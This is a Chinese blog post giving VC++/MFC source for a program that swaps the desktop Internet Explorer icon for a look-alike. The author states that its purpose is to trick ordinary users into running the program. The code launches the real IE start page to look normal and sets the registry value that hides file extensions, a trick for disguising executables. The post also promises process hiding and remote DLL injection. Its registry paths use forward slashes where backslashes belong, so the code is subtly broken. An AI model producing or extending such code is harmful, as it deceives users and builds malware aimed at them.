VC替换桌面IE图标[源码]

1、先自己在网上找个IE的图标做资源

 

2、下面的代码目的是替换桌面上的IE图标,可以“忽悠”用户达到程序的运行权。咋的一看,IE一模一样,主页也没被修改,可双击打开的多了个你自己设定的网页,这样欺骗一下“普通用户”的视觉还是没问题的~~~~~~

  1. void CMFCDlg::OnBtnIe7()   
  2. {   
  3.     // TODO: Add your control notification handler code here   
  4.     //读取IE主页设置、及IE路径   
  5.     TCHAR  szExePath[]  =   _T("C://Program Files//Internet Explorer//IEXPLORE.EXE");   
  6.     char   szStartPage[MAX_PATH];   
  7.     HKEY   hKey1;    
  8.   
  9.     // 打开注册表  
  10.     if(RegOpenKey(HKEY_CURRENT_USER,_T("Software//Microsoft//Internet Explorer//Main"),&hKey1)!=ERROR_SUCCESS)     
  11.     {       
  12.         MessageBox(_T("读取IE主页失败!"));   
  13.         return;     
  14.     }     
  15.   
  16.     // 设置注册表键值  
  17.     DWORD  dwSize = sizeof(szStartPage);     
  18.     RegQueryValueEx(hKey1,_T("Start Page"),NULL,NULL,(LPBYTE)szStartPage,&dwSize);   
  19.     RegCloseKey(hKey1);   
  20.     ShellExecute(NULL, "open", szStartPage, NULL, NULL, SW_SHOWNORMAL);   
  21.   
  22.     //修改文件扩展名隐藏属性   
  23.     char buffer[]="Software//Microsoft//Windows//CurrentVersion//Explorer//Advanced";   
  24.     HKEY hKey2;   
  25.     DWORD Data=1;     
  26.     RegOpenKeyEx(HKEY_CURRENT_USER,buffer,0,KEY_ALL_ACCESS,&hKey2);   
  27.     RegSetValueEx(hKey2,"HideFileExt",0,REG_DWORD,(CONST BYTE*)&Data,4);   
  28.     RegCloseKey(hKey2);   
  29. }  

后面的功能还待完善,预计会在进程隐藏、远程DLL注入及不同IE版本等方面的予以改进,敬请关注!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值